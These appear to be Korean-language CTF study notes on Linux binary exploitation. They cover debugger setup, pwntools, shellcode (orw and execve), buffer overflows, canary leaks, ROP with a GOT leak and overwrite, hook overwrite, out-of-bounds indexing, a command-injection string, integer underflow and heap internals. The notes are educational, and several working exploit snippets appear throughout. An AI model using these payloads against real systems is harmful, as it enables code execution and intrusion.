Setting

Ubuntu 22.04
CTF용 우분투 세팅 (wsl)

sudo apt update -y
sudo apt install netcat vim git gcc ssh curl wget gdb sudo python3 python3-pip -y
sudo apt install libffi-dev build-essential libssl-dev libc6-i386 libc6-dbg gcc-multilib make tmux xterm -y
sudo dpkg --add-architecture i386
sudo apt update
sudo apt install libc6:i386 -y
python3 -m pip install --upgrade pip
pip3 install unicorn keystone-engine pwntools ropgadget
sudo apt install libcapstone-dev -y
cd ~
# git clone https://github.com/longld/peda.git ~/peda
# echo "source ~/peda/peda.py" >> ~/.gdbinit
# git clone https://github.com/scwuaptx/Pwngdb.git
# cp ~/Pwngdb/.gdbinit ~/
git clone https://github.com/pwndbg/pwndbg
cd pwndbg
./setup.sh
sudo apt install ruby-full -y
sudo gem install one_gadget seccomp-tools

Pwngdb

# Entry point address:               0x10c0
readelf -h stack

# gadget
ROPgadget --binary ./binary_or_library > gadget

# gdb 실행
cd "/mnt/c/wsl2/stack"
gdb binary_name

# 보호 기법 확인
pwngdb> checksec

# 함수 주소 찾기
pwngdb> print <function_name>

# b breakpoint / c continue / r run / si step into / ni next instruction / i info / k kill/ pd pdisas
pwngdb> entry
pwngdb> b *main
pwngdb> c

# bp listing & cancle
pwngdb> i b
pwngdb> d 1

# backtrace
pwngdb> bt

# set <주소/레지스터> = <변경할 값>
pwndbg> set $rax = 0
pwndbg> set $rsp = $rbp
pwndbg> set *(unsigned int*)0x400000 = 10
pwndbg> set *(float*)0x400010 = 3.14

# 어떤 함수의 내부까지 궁금할 때는 si를, 그렇지 않을 때는 ni
# next instruction
pwngdb> ni
pwngdb> si

# si 로 들어갔을 때 해당 함수 한번에 실행하여 나오기
pwngdb> fin

# disassembly
pwngdb> disassemble main
## 가독성 좋게 메모리 구조 표현해줌
pwngdb> u

# info registers
pwngdb> i r

# rsp 부터 80바이트를 8바이트 씩 hex형식으로 출력
pwngdb> x/20gx $rsp

# rip부터 5줄의 어셈블리 명령어 출력
pwngdb> x/5i $rip

# 특정 주소의 문자열 출력
pwngdb> x/s 0x40000

# 재귀적으로 메모리가 참조하고 있는 주소 탐색
pwngdb> tele
pwngdb> telescope $esp 40
# 파일이 매핑 된 영역일 경우 해당 파일의 경로까지 보여줌
pwngdb> vmmap

# 입력값 전달
pwndbg> r $(python3 -c "print('\xff' * 100)")
pwndbg> r $(python3 -c "print('\xff' * 100)") <<< $(python3 -c "print('dreamhack')")

# 특정 이벤트 발생 시 프로세스 중지
pwndbg> catch syscall arch_prctl

# 특정 주소의 값이 변경될 시 프로세스 중지
pwndbg> watch *(0x7ffff7d87740+0x28)

PwnTool

from pwn import *

context.log_level = "debug"
context.arch = "amd64"

# CTF 풀 때, 원격으로 붙기
p = remote("host3.dreamhack.games", 14855)

# 로컬 바이너리 실행 & 특정 lib 로드
elf = context.binary = ELF("./rao")
libc = ELF("./libc.so.6")
p = process(elf.path, env={"LD_PRELOAD":"./libc.so.6"})

# 디버깅 / 실행 전에 ubuntu에서 tmux 입력
context.terminal = ['tmux', 'splitw', '-h']
gdb.attach(p)

# printf에 중요 정보가 있을 때
p.recvuntil(b"Printf() address : ")
printf_addr = int(p.recvline().strip(), 16)

# 해당 함수의 실 위치
libc.sym["printf"]
libc.symbols["printf"]

# 문자열 찾기
next(libc.search(b"/bin/sh"))

# 가젯 찾기
ROP(libc).find_gadget(["pop rdi", "ret"])[0]

# payload
offset = 56
payload = b"A" * offset
payload += p64(get_shell_addr)

# payload 입력 직후 stack을 보고 싶을때
pause()
pwngdb> ni
pause 풀기 # tmux Ctrl + b 후 방향키로 입력창 변경 가능
pwngdb> fin # 원하는 곳까지 나오기

# scanf로 받을 때
p.sendafter("Input: ", payload)

# 그 외
p.send(payload)

# 셸 획득
p.interactive()

Pwn Base

#############################수정중####################################
from pwn import *
import argparse
import sys
import os

def slog(n, m): return success(' : '.join([n, hex(m)]))

parser = argparse.ArgumentParser(description='Exploit Script')
parser.add_argument('--bin', help='Path to the binary to execute')
parser.add_argument('-R', action='store_true', help='Remote?')
parser.add_argument('-D', action='store_true', help='Debug mode?')
parser.add_argument('-A', action='store_true', help='ARM target?')
args = parser.parse_args()

isRemote = args.R
isDebug = args.D
isArm = args.A
binary_path = args.bin

if not isRemote and not binary_path:
    print("error: --bin is required when not using --R (remote mode).")
    sys.exit(1)

if isRemote:
    p = remote('host8.dreamhack.games', 11666)
else:
    if isDebug:
        context.log_level = 'debug'
        context.terminal = ['tmux', 'splitw', '-h']
		if isArm:
	        p = process(['qemu-arm-static', '-g', '54321', binary_path])
	        sleep(1)  # qemu가 GDB 포트를 열 때까지 잠시 대기
	        gdbscript = "target remote :54321"
	        gdb.attach(p, gdbscript=gdbscript, exe=binary_path, gdb='gdb-multiarch')
	    else:
	        p = process(binary_path)
	        gdb.attach(p)
    else:
        p = process(binary_path)

p.interactive()

Pwndocker

낮은 버전의 libc 라이브러리를 사용하게 될 시 Ubuntu-22.04 와 같은 OS는 해당 라이브러리를 로드할 수 없다.

이때, Ubuntu 버전을 낮추는 등 라이브러리를 로드할 수 있게 환경을 구성해야 하는데, 도커를 활용해 해당 문제를 빠르게 해결하여 환경을 구축할 수 있다.

LD_PRELOAD

libc만 로드하면 현재 사용 중인 ld 파일을 기준으로 로드하기 때문에 해당 libc 버전에 맞는 ld파일도 같이 로드해야 함. *LD 파일은 libc의 함수를 가져오는 역할을 함.

실행파일을 실행하는 과정에서 라이브러리를 로딩할 때, 환경 변수가 설정되어 있다면 지정된 라이브러리를 먼저 로딩하도록 하는 변수다.

  • 일반적인 동적 링크 : system()ldlibc
  • LD_PRELOAD 적용 : system()ldLD_PRELOAD Library → (LD_PRELOAD Library에 없을 경우)libc

patchelf

OS버전과 라이브러리 버전이 너무 안맞아 LD_PRELOAD를 해도 로드되지 않는 상황일 때, 사용하는 툴로 LD_PRELOAD를 통해 실행파일이 지정한 라이브러리와 로더를 사용할 수 있게 지정했던 것처럼 패치를 통해 지정한다.

patchelf --set-interpreter <변경할 ld 경로> <실행 파일> 
patchelf --replace-needed <변경할 내용> <변경할 파일> <실행 파일>
patchelf --set-interpreter /glibc/2.27/64/lib/ld-2.27.so ./fho 
patchelf --replace-needed libc.so.6 ./libc-2.27.so ./fho

Shellcode

shellcode database참고

어셈블리어로 쉘코드를 작성할 수 있어야 추후 원하는 동작으로 이끌어내는 데 도움이 될테니 알아두자.

orw shellcode

파일을 열고 읽고 출력해주는 쉘코드로 아래 함수 정보를 이용하여 작성하면 된다.

syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
read 0x00 unsigned int fd char *buf size_t count
write 0x01 unsigned int fd const char *buf size_t count
open 0x02 const char *filename int flags umode_t mode
push 0x0
mov rax, 0x676e6f6f6f6f6f6f 
push rax
mov rax, 0x6c5f73695f656d61 
push rax
mov rax, 0x6e5f67616c662f63 
push rax
mov rax, 0x697361625f6c6c65 
push rax
mov rax, 0x68732f656d6f682f 
push rax

mov rdi, rsp    ; rdi = "/home/shell_basic/flag_name_is_loooooong"
xor rsi, rsi    ; rsi = 0 ; RD_ONLY
xor rdx, rdx    ; rdx = 0
mov rax, 2      ; rax = 2 ; syscall_open
syscall         ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax      ; rdi = fd
mov rsi, rsp
sub rsi, 0x30     ; rsi = rsp-0x30 ; buf
mov rdx, 0x30     ; rdx = 0x30     ; len
mov rax, 0x0      ; rax = 0        ; syscall_read
syscall           ; read(fd, buf, 0x30)
mov rdi, 1        ; rdi = 1 ; fd = stdout
mov rax, 0x1      ; rax = 1 ; syscall_write
syscall           ; write(fd, buf, 0x30)

execve shellcode

쉘을 얻는 코드로 일반적으로 쉘코드라 하면 해당 방법을 의미함.

syscall rax arg0 (rdi) arg1 (rsi) arg2 (rdx)
execve 0x3b const char *filename const char *const *argv const char *const *envp
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp  ; rdi = "/bin/sh\x00"
xor rsi, rsi  ; rsi = NULL
xor rdx, rdx  ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall       ; execve("/bin/sh", null, null)

skeleton code

// File name: sh-skeleton.c
// Compile Option: gcc -o sh-skeleton sh-skeleton.c -masm=intel

__asm__(
    ".global run_sh\n"
    "run_sh:\n"

    "Input your shellcode here.\n"
    "Each line of your shellcode should be\n"
    "seperated by '\n'\n"

    "xor rdi, rdi   # rdi = 0\n"
    "mov rax, 0x3c	# rax = sys_exit\n"
    "syscall        # exit(0)"
);

void run_sh();

int main() { run_sh(); }

Extract Shellcode

objdump -d poc
objcopy -O binary --only-section=.text poc text.bin
xxd -i text.bin

BOF

설정된 버퍼보다 더 많은 양의 데이터를 입력하여 해당 버퍼를 넘어 다른 데이터 영역까지 침범하는 취약점

  1. 중요 데이터 변조 [다른 데이터 영역 침범]
  2. 데이터 유출 [널 바이트 삭제]
  3. 실행 흐름 조작 [RIP, 함수의 반환 주소 조작]

Ubuntu 20.04 버전 이상은 기본적으로 Segmentation fault라는 에러가 출력시 /var/lib/apport/coredump에 코어 파일을 생성하기에 해당 파일을 통해 디버깅 할 수 있다.

# 코어 파일이 생성되지 않을 때, 코어 파일 크기 제한 해제
ulimit -c unlimited

# 코어 파일 분석 법
gdb rao -c core.1828876

위험 함수들

주로 BOF가 발생할 수 있는 함수들 정리

입력 함수(패턴) 위험도 평가 근거
gets(buf) 매우 위험
  • 입력받는 길이에 제한이 없음.

    - 버퍼의 널 종결을 보장하지 않음: 입력의 끝에 널바이트를 삽입하므로, 버퍼를 꽉채우면 널바이트로 종결되지 않음. 이후 문자열 관련 함수를 사용할 때 버그가 발생하기 쉬움.
scanf(“%s”, buf) 매우 위험
  • 입력받는 길이에 제한이 없음.

    - 버퍼의 널 종결을 보장하지 않음: gets와 동일.
scanf(“%[width]s”, buf) 주의 필요
  • width만큼만 입력받음: width를 설정할 때 width <= size(buf) - 1을 만족하지 않으면, 오버플로우가 발생할 수 있음.

    - 버퍼의 널 종결을 보장하지 않음: gets와 동일.
    - scanf 함수는 “ “, “\t”, “\n”과 같은 바이트[\x09, \x0a, \x0b, \x0c, \x0d, \x20]가 입력되기 전의 결과만을 입력받습니다.
fgets(buf, len, stream) 주의 필요
  • len만큼만 입력받음: len을 설정할 때 len <= size(buf)을 만족하지 않으면, 오버플로우가 발생할 수 있음.

    - 버퍼의 널 종결을 보장함.

    - len보다 적게 입력하면, 입력의 끝에 널바이트 삽입.

    - len만큼 입력하면, 입력의 마지막 바이트를 버리고 널바이트 삽입.

    - 데이터 유실 주의: 버퍼에 담아야 할 데이터가 30바이트인데, 버퍼의 크기와 len을 30으로 작성하면, 29바이트만 저장되고, 마지막 바이트는 유실됨

Return Address Overwrite

만약 버퍼의 주소를 알고 있다면, 버퍼에 바로 쉘 코드를 삽입하고 버퍼 주소로 RAO를 하는 방법도 있다.

buf 크기보다 더 데이터를 입력할 수 있다면, 아래 그림에 따르면 0x38만큼의 dummy data를 삽입 후 return address를 덮어 쓰면 된다. 출처-드림핵 아래와 같은 방법으로 위 그림의 스택 구조를 가진 프로그램에서 exploit 할 수 있다.

(python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| ./rao

실제 Stack 상황을 보면 RSP에 입력 값[“AAAAAAAAAAAA”]이 들어가 있고, RBP + 8 부분에 돌아가야 할 주소가 적혀 있는 것을 알 수 있다. 즉, RBP + 8 부분의 값을 원하는 값으로 변경하여 프로그램 흐름을 조작하는 것이다.

Stack Canary

Ubuntu 22.04의 gcc는 기본적으로 스택 카나리가 적용된다. [-fno-stack-protector 없애려면 옵션 필요]

출처-드림핵

Canary 분석

카나리 적용 전/후 비교 시 에러 문구가 달라짐을 알 수 있다.

카나리 적용 전/후 main 함수 비교 시 일부 명령어들이 추가됨을 알 수 있다.

리눅스는 fs를 Thread Local Storage (TLS)를 가리키는 포인터로 사용

 ...
 <+8>:     sub    rsp,0x10
 <+12>:    mov    rax,QWORD PTR fs:0x28                 # fs[세그먼트]에 랜덤 값 저장
 <+21>:    mov    QWORD PTR [rbp-0x8],rax               # rbp-0x8에 값 저장
 ...
 <+54>:    mov    rdx,QWORD PTR [rbp-0x8]               # rdx에 카나리 값 옮기기
 <+58>:    sub    rdx,QWORD PTR fs:0x28                 # 뺄셈을 통해 비교
 <+67>:    je     0x5555555551b3 <main+74>              # 같으면 점프
 <+69>:    call   0x555555555060 <__stack_chk_fail@plt> # 다르면 fail
 <+74>:    leave
 <+75>:    ret

TLS

더 자세한 로직에 대해서는 Master Canary에서 다루기

thread의 저장 공간(thread의 전역 변수를 저장하기 위한 공간으로 Loader에 의해서 할당)을 의미하며 모든 스레드가 참조할 수 있는 전역 변수를 저장하는데에 쓰인다.

init_tls() 함수에서의 레지스터 값 확인

  • ARCH_SET_FS의 상수 값 : 0x1002
  • TLS 주소 : 0x7ffff7d87740
  • canary 주소 : fs + 0x28 -> 0x7ffff7d87740 + 0x28

main() 함수 진입 후 해당 부분의 값을 보면 stack canary 값을 볼 수 있다.

우회

  1. TLS 접근 TLS에 카나리 값이 저장되기 때문에 TLS의 주소와 읽기, 쓰기 권한이 있다면 임의의 값으로 조작할 수 있다.
  2. Stack Canary Leak StackCanary가 저장된 스택 위에서 BOF를 발생시킬 수 있다면, StackCanary의 마지막 /x00를 지워 출력되게 할 수 있다.
int main() {
    char first[8];
    char second[8];
    
    printf("second : ");
    read(0, second, 64);
    printf("second %s\n", second);
    
    printf("first : ");
    read(0, first, 64);
    printf("first %s\n", first);

    return 0;
  }

지역변수의 스택 위치를 파악하는 것이 중요하다.

rbp - 0x18 : first[8] rbp - 0x10 : second[8] rbp - 0x8 : StackCanary 으로 되어 있다.

second 입력 시 AAAAAAAA 와 Enter 입력[\x0a]까지 포함하여 총 9 문자 입력 시 StackCanary의 \x00 값이 \x0a로 되면서 같이 출력된다.

NX & ASLR

No Execute

-zexecstack 옵션을 통해 보호 기법을 뺄 수 있다.

실행에 사용되는 메모리 영역과 쓰기에 사용되는 메모리 영역을 분리하는 보호 기법이다. nx 보호 기법의 적용 전/후를 보면 stack 영역의 실행권한 여부에서 차이가 있다.

Address Space Layout Randomization

파일을 Page 단위로 매핑하기 때문에 페이지의 크기인 하위 3바이트는 변경되지 않는다.

바이너리가 실행될 때마다 스택, 힙, 공유 라이브러리 등을 임의의 주소에 할당하는 보호 기법이다.

ASLR이 적용됐을 때, 바이너리 실행 시 buf의 주소가 실행마다 달라짐을 볼 수 있다.

# 바이너리에 link된 라이브러리 확인
ldd binary_name

# gcc의 표준 라이브러리 경로 확인
ld --verbose | grep SEARCH_DIR | tr -s ' ;' '\n'

Static으로 링크했을 시 puts 함수를 직접 호출한다. Dynamic으로 링크했을 시 puts 함수의 PLT 주소를 호출한다.

PLT & GOT

함수가 제일 처음 호출될 때, runtime resolve과정을 거쳐 GOT에 주소를 저장하며, 이후에 호출될 때 GOT를 참조하여 주소를 꺼낸다.

동적으로 링크된 심볼의 주소를 찾기 위해 사용하는 테이블.

  1. 처음 시작 시 아직 puts 함수가 실행되지 않아 resolve가 안되어있기에 plt주소가 적혀있다.
  2. puts 함수 call 시 si로 내부로 들어가면 _dl_runtime_resolve_fxsave 함수에 의해 GOT에 주소가 저장된다.
  3. 두 번째 puts함수 call 시 si로 내부로 들어가면 GOT에 주소가 저장되어 있기에 바로 puts함수가 시작된다.
  4. GOT 변조 시 변조된 주소로 실행 흐름이 넘어간다 [GOT Overwrite 공격 기법]

우회

  1. Return to Library 실행 권한이 남아있는 코드 영역[바이너리의 코드 영역, 라이브러리의 코드 영역]으로 반환 주소를 덮는 공격 방법
  2. Return Oriented Programming 실행 권한이 있는 영역에 있는 명령어 조각[가젯]을 이용하여 함수를 실행하는 것으로 ret 가젯을 이용하여 복잡한 실행 흐름을 구현할 수 있는 기법이다.
  3. libc 관련 주소 얻기 read, puts, printf 등 libc 라이브러리에 있는 함수들이 사용되고 있다면 해당 함수들의 GOT를 읽고, libc 라이브러리 내 system 함수와의 거리 차이를 통해 계산한다.

또는 main함수의 반환 주소인 libc_start_main+x 를 Leak하여 거리 차이를 통해 계산한다.

ROP

dreamhack rop 문제 풀이 중 궁금한 부분 정리

  1. 가젯의 활용

    libc의 코드 가젯이나, libc_csu_init 가젯 사용하여 문제 해결 원하는 레지스터를 변경시키는 함수를 호출하여 문제 해결 libc_csu_init 가젯에 대한 내용은 Return-to-Csu 등의 키워드로 구글에 검색

  2. pop rsi r15 가젯 사용 이유 rop binary 내 가젯에서 pop rsi ; ret 가젯이 존재 하지 않고, pop rsi ; pop r15 ; ret 가젯만 존재하기 때문에 사용한 것으로 pop r15 의 경우 rop 문제에서는 무의미하며 pop rsi 명령을 사용하기 위해 쓴거다.

  3. pop rdx 가젯 미사용 이유 바이너리 내 rdx 가젯이 존재하지 않고, 해당 문제에서는 이미 0x100이라는 충분한 길이가 설정되어 있어서 사용하지 않음.

  4. GOT Leak

write 함수를 통해 read GOT 값을 출력시켜 주소 Leak하며 이때 6byte를 읽는 이유는 write 함수는 문자열을 출력해주는 함수이기 때문에 \x00는 출력되지 않기 때문이다.

64비트 바이너리의 libc주소는 보통 0x7f부터 시작되며 총 6바이트고 나머지는 0x00으로 채워진다. u64(r.recvuntil("\x7f")[-6:].ljust(8, b"\x00")) 로 받아도 됨.

# write(1, read_got, ...)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0) # 마지막 p64(0)은 pop r15 때문 
payload += p64(write_plt) 

# 출력된 read GOT로 libc base Address Leak 
read = u64(p.recvn(6) + b'\x00'*2) 
lb = read - libc.symbols['read'] 
system = lb + libc.symbols['system']
  1. GOT Overwrite read 함수의 GOT를 system 주소로 변조
# read(0, read_got, …) -> read_got에 system 주소 입력
payload += p64(pop_rdi) + p64(0)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(0) # 마지막 p64(0)은 pop r15 때문 
payload += p64(read_plt)

p.send(p64(system) + b’/bin/sh\x00’)
  1. system 호출 read_got에 system 주소 + "/bin/sh\x00" 로 총 16byte를 입력하였기 때문에 "/bin/sh\x00"는 read_got+0x8 주소에 입력되어 있음
# read("/bin/sh") == system("/bin/sh") 
payload += p64(pop_rdi) 
payload += p64(read_got + 0x8) 
payload += p64(ret) 
payload += p64(read_plt) 

p.send(p64(system) + b'/bin/sh\x00')

PIE & RELRO

Position-Independent Executable

ASLR만 적용될 경우 실행 파일의 main()이나 전역 변수 등이 위치한 주소는 항상 고정된 상태일 수 있다는 점

PIE는 무작위 주소에 매핑돼도 실행 가능한 실행 파일을 뜻한다.

ASLR과 PIE가 둘 다 적용된 상태면 스택, 힙, 라이브러리 영역뿐만 아니라 실행 파일이 매핑되는 영역도 무작위하게 바뀐다.

#include <dlfcn.h>
#include <stdio.h>
#include <stdlib.h>

int main() {
    char buf_stack[0x10];                   // 스택 영역의 버퍼
    char *buf_heap = (char *)malloc(0x10);  // 힙 영역의 버퍼

    printf("buf_stack addr: %p\n", buf_stack);
    printf("buf_heap addr: %p\n", buf_heap);
    printf("libc_base addr: %p\n",
        *(void **)dlopen("libc.so.6", RTLD_LAZY));  // 라이브러리 영역 주소

    printf("printf addr: %p\n",
        dlsym(dlopen("libc.so.6", RTLD_LAZY),
        "printf"));  // 라이브러리 영역의 함수 주소
    printf("main addr: %p\n", main);  // 코드 영역의 함수 주소
}
  1. 코드 베이스 구하기

위에서 libc 베이스를 구한 것 처럼 바이너리 베이스 주소를 구하는 방법 사용

  1. Partial Overwrite

ASLR의 특성 상, 코드 영역의 주소도 하위 12비트 값은 항상 같다. 따라서 사용하려는 코드 가젯의 주소가 반환 주소와 하위 한 바이트만 다르다면, 이 값만 덮어서 원하는 코드를 실행시킬 수 있다.

RELocation Read-Only

Lazy Binding 방식은 함수 초기 호출 시 GOT 업데이트 하기 때문에 GOT가 존재하는 메모리 영역에 쓰기 권한이 부여됨.

RELRO는 쓰기 권한이 불필요한 데이터 세그먼트에 쓰기 권한을 제거한다. RELRO는 Partial, Full 두 가지로 나뉜다.

.got, .got.plt 영역의 차이는 now, lazy binding 차이로 실행되는 시점에 바인딩 된 값들이 있는 영역과 실행 중에 값이 써져야 하는 영역의 차이다.

Partial RELRO

보통은 Full로 적용되며 -no-pie 옵션을 통해 PIE를 해제하면 Partial RELRO가 적용된다.

해당 경우는 .got.plt 영역에 대한 쓰기 권한이 존재하므로 GOT Overwrite방법으로 우회할 수 있다.

Full RELRO

라이브러리에 위치한 hook을 통해 우회한다. -> Hook Overwrite

우회

Hook Overwrite

Glibc 2.33 이하 버전에서는 libc 데이터 영역에 malloc, free 를 호출할 때 함께 호출 되는 Hook이 함수 포인터 형태로 존재한다.

Hook이라는 함수 포인터를 임의의 함수 주소로 오버라이트 하는 방법이다. Full RELRO가 적용되더라도 libc의 데이터 영역에는 쓰기가 가능하기 때문에 사용 가능한 방법이다.

훅을 실행할 때, 기존 함수에 전달한 인자를 같이 전달하기 때문에 __malloc_hooksystem 주소로 변조하고 malloc("/bin/sh") 호출 시 쉘을 얻을 수 있다.

One Gadget

Glibc 버전마다 다르게 존재하며, 사용하기 위한 제약 조건도 모두 다르고 버전이 높을 수록 제약 조건을 만족하기 어렵긴 하다.

기존에는 쉘을 실행하기 위해 복잡한 ROP Chain을 구성했지만 단일 가젯만으로도 쉘을 실행할 수 있는 가젯이다.

Out-of-Bounds (OOB)

배열의 임의 인덱스에 접근할 수 있는 취약점으로 프로그램을 개발할 때 배열의 인덱스와 관련해서 실수가 나오기 쉽다.

인덱스 값이 음수이거나 배열의 길이를 벗어날 때 발생하며 해당 오프셋에 있는 메모리의 값을 참조할 수 있게 된다.

드림핵 OOB 문제

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

char name[16];

char *command[10] = {
    "cat",
    "ls",
    "id",
    "ps",
    "file ./oob" };
    
...

int main()
{
    int idx;

    initialize();

    printf("Admin name: ");
    read(0, name, sizeof(name));
    printf("What do you want?: ");

    scanf("%d", &idx);

    system(command[idx]);

    return 0;
}

commandname 주소 확인

pwndbg> p &command
$1 = (<data variable, no debug info> *) 0x804a060 <command>
pwndbg> p &name
$2 = (<data variable, no debug info> *) 0x804a0ac <name>

commandname 주소 차이를 통해 name을 참조하도록 조작

여기서 참조 범위때문에 /bin만 들어가게 되므로 name/bin/sh\x000x804a0ac 와 같이 name + 8 주소를 추가로 넣어야 한다.

command[19] = 0x804a060 + 76이 되어 name의 주소가 된다.

C언어

Command Injection

strncmp(cmd_ip, "ifconfig", 8) 함수는 두 문자열을 비교하되, 정확히 8바이트만큼만을 비교한다는 것을 의미 -> ifconfig;/bin/sh 로 쉘 실행 가능!

strcmp 함수는 검사할 바이트 길이를 지정해주는 것이 아닌, NULL 바이트를 만날 때까지의 문자열에 대하여 검사를 진행하는 함수

Type Error

한번 정의된 자료형은 바꿀 수 없으며 1바이트 크기의 변수에 1을 더하다가 그 값이 0xff를 넘어서게 되면, 0x100이 되는 것이 아니라 0x00이 된다.

4바이트 크기의 변수에 0x0123456789abcdef을 대입하려 하면, 하위 4바이트인 0x89abcdef만 저장되고 나머지 값은 모두 버려진다.

자료형 크기 범위 용도
(signed) char 1 바이트   정수, 문자
unsigned char      
(signed) short (int) 2 바이트   정수
unsigned short (int)      
(signed) int 4 바이트   정수
unsigned int      
size_t 32bit: 4 바이트
64bit: 8 바이트
생략 부호 없는 정수
(signed) long 32bit: 4 바이트
64bit: 8 바이트
정수  
unsigned long      
(signed) long long 32bit: 8 바이트
64bit: 8 바이트
정수  
unsigned long long      
float 4 바이트 실수  
double 8 바이트 실수  
Type * 32bit: 4 바이트
64bit: 8 바이트
주소  

변수의 값이 연산 중에 자료형의 범위를 벗어나면, 갑자기 크기가 작아지거나 커지는 현상이 발생하는데, 이런 현상을 Type Overflow/Underflow라고 부른다. 드림핵 출처

아래 코드에서 ssize_t read(int fildes, void *buf, size_t nbyte) 함수 형태이며 size_t 자료형은 32비트 아키텍쳐에서 기본적으로 unsigned int와 동일한 연산을 진행한다.

size0입력 시 size - 1 = -1이 되므로 언더플로우가 발생하며 0xffffffff = 4294967295값을 가지게 된다. -> 이를 통해 버퍼 오버플로우로 연계할 수 있다.

int main()
{
    char buf[256];
    int size;

    initialize();

    signal(SIGSEGV, get_shell);

    printf("Size: ");
    scanf("%d", &size);

    if (size > 256 || size < 0)
    {
        printf("Buffer Overflow!\n");
        exit(0);
    }

    printf("Data: ");
    read(0, buf, size - 1); // Attack Point

    return 0;
}

Use After Free (UAF)

Memory Allocator는 구현에 사용된 알고리즘에 따라 여러 종류가 있다. 리눅스는 ptmalloc2, 구글은 tcmalloc, 페이스북이나 파이어폭스는 jemalloc 을 사용한다.

Use-After-Free는 메모리 참조에 사용한 포인터를 메모리 해제 후에 적절히 초기화하지 않아서, 또는 해제한 메모리를 초기화하지 않고 다음 청크에 재할당해주면서 발생하는 취약점이다. 즉, 해제된 메모리 주소에 접근할 때 발생하는 취약점

// Name: uaf.c
// Compile: gcc -o uaf uaf.c -no-pie
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct NameTag {
  char team_name[16];
  char name[32];
  void (*func)();
};

struct Secret {
  char secret_name[16];
  char secret_info[32];
  long code;
};

// NameTag, Secret 구조체는 같은 크기 
// -> 해제 후 다른 구조에 할당하면 결국 같은 메모리 영역을 사용하게 됨.

int main() {
  int idx;

  struct NameTag *nametag;
  struct Secret *secret;

  secret = malloc(sizeof(struct Secret));

  strcpy(secret->secret_name, "ADMIN PASSWORD");
  strcpy(secret->secret_info, "P@ssw0rd!@#");
  secret->code = 0x1337;

  free(secret);
  secret = NULL;

  nametag = malloc(sizeof(struct NameTag));

  strcpy(nametag->team_name, "security team");
  memcpy(nametag->name, "S", 1);

  printf("Team Name: %s\n", nametag->team_name);
  printf("Name: %s\n", nametag->name);

  if (nametag->func) {
	// 여기서 Secret.code가 노출됨.
	
    printf("Nametag function: %p\n", nametag->func); 
    nametag->func();
  }
}

ptmalloc2

ptmalloc의 구현 목표는 메모리의 효율적인 관리로 아래와 같은 역할을 수행한다.

  1. 메모리 낭비 방지
  2. 빠른 메모리 재사용
  3. 메모리 단편화 방지

메모리 낭비 방지

메모리의 동적 할당과 해제는 빈번하게 일어나기에 먼저 해제된 메모리 공간 중에서 재사용할 수 있는 공간이 있는지 확인하고 재사용한다. [작은 크기를 할당 요청이 발생할 때, 큰 메모리만 남아 있어도 그 영역을 주기도 한다.]

빠른 메모리 재사용

빠르게 메모리를 할당해 주려면 해제된 메모리 공간의 주소를 알고 있어야 한다. ptmalloc은 메모리 공간을 해제할 때, tcache 또는 bin이라는 연결 리스트에 해제된 공간의 정보를 저장해놓는다.

메모리 단편화 방지

내부 단편화는 할당한 메모리 공간의 크기에 비해 실제 데이터가 점유하는 공간이 적을 때 발생하며, 반대로 외부 단편화는 할당한 메모리 공간들 사이에 공간이 많아서 발생하는 비효율을 의미한다.

ptmalloc은 단편화를 줄이기 위해 정렬(Alignment)병합(Coalescence) 그리고 분할(Split) 을 사용한다. - 비슷한 크기의 요청에서는 모두 같은 크기를 주어 정렬, 더 큰 공간을 줘야 한다면 병합, 더 작은 공간을 줘야 한다면 분할한다.

청크(Chunk)

ptmalloc이 할당한 메모리 공간을 의미하며, 청크는 헤더와 데이터로 구성되며, 헤더는 청크 관리에 필요한 정보를 담고 있으며, 데이터 영역에는 사용자가 입력한 데이터가 저장된다.

드림핵 출처

이름 크기 의미
prev_size 8바이트 인접한 직전 청크의 크기. 청크를 병합할 때 직전 청크를 찾는 데 사용된다.
size 8바이트 현재 청크의 크기. 헤더의 크기도 포함한 값이다. 64비트 환경에서, 사용 중인 청크 헤더의 크기는 16바이트이므로 사용자가 요청한 크기를 정렬하고, 그 값에 16바이트를 더한 값이 된다.
flags 3비트 64비트 환경에서 청크는 16바이트 단위로 할당되므로, size의 하위 4비트는 의미를 갖지 않는다. 그래서 ptmalloc은 size의 하위 3비트를 청크 관리에 필요한 플래그 값으로 사용한다.

각 플래그는 순서대로 allocated arena(A), mmap’d(M), prev-in-use(P)를 나타낸다. prev-in-use 플래그는 직전 청크가 사용 중인지를 나타내므로, ptmalloc은 이 플래그를 참조하여 병합이 필요한지 판단할 수 있다.
fd 8바이트 연결 리스트에서 다음 청크를 가리킴. 해제된 청크에만 있다.
bk 8바이트 연결 리스트에서 이전 청크를 가리킴. 해제된 청크에만 있다.

Bin

bin은 문자 그대로, 사용이 끝난 청크들이 저장되는 객체로 메모리의 낭비를 막고, 해제된 청크를 빠르게 재사용한다.

드림핵 출처

Small bin

smallbin에는 32 바이트 이상 1024 바이트 미만의 크기를 갖는 청크들이 보관되며 index가 증가하면 저장되는 청크의 크기는 16바이트씩 커진다 (smallbin[0] = 32바이트, smallbin[61] = 1008바이트)

  • FIFO 방식이다. (Unlink 필요)
  • 병합 대상이다.
Fast bin

smallbin에서도 크기가 작은 메모리들은 더 자주 할당되고 해제되기에 속도를 빠르게 한다. 32바이트 <= fastbin <=176바이트 구간에 있다.

  • LIFO 방식이다. (Unlink 필요 없음)
  • 병합 대상이 아니다.
Large bin, Unsorted bin

largebin은 1024 바이트 이상의 크기를 갖는 청크들이 보관하며, unsortedbin은 문자 그대로, 분류되지 않은 청크들을 보관하는 bin이다.

이 범위는 largebin의 인덱스가 증가하면 로그적으로 증가한다. 예를 들어, largebin[0]는 1024 바이트 이상, 1088 바이트 미만의 청크를 보관하며, largebin[32]는 3072 바이트 이상, 3584 바이트 미만의 청크를 보관한다.

  • largebin안 청크를 크리 내림차순으로 정렬한다.
  • 연속된 largebin 청크는 병합 대상이다.
tcache

